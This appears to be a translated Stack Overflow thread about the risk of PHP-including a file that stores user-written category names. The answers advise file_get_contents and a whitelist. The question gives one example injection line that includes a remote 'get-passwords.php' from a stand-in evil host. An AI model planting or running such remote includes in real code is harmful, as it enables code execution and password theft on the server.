繁体   English   中英

PHP的。 用户可以在文件中写入数据,而我可以包含该文件

[英]Php. User can write data in a file and i include the file

用户在mysql中编写类别( nameurl )。

我计划在每个写入/更改nameurl也以服务器上的txt或php文件写入。 在目标页面上重新加载而不是连接到mysql,仅包括txt或php文件。

现在我想象一种情况。 例如,作为类别name的用户写了include("http://www.evil/get-passwords.php"); 所以在txt或php文件中,我可能有这样的代码,当包含在php中时,代码将执行?

如何预防这种情况? 要仅允许某些字符用作类别名称?

我完全不建议在这种情况下使用include 您可以看看http://php.net/manual/en/function.file-get-contents.php

使用file_get_contents可以避免脚本注入,因为它以纯字符串形式读取文件。

您是否打算让用户写入.php文件? 那不是一个好主意。
如果您确实需要这样做,请让他们编写简单的.txt文件(并再次检查apache不会将txt解析为php )。

为了进行消毒,通常的做法是编写一个允许的列表(白名单):

   $allowedName = array(
      'name1',
      'name2',
      'name3'
      // ...
   );

然后,当用户输入时,您可以检查它:

   if (!in_array($_POST['userName'], $allowedName))
     die('Not Allowed');

暂无
暂无

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM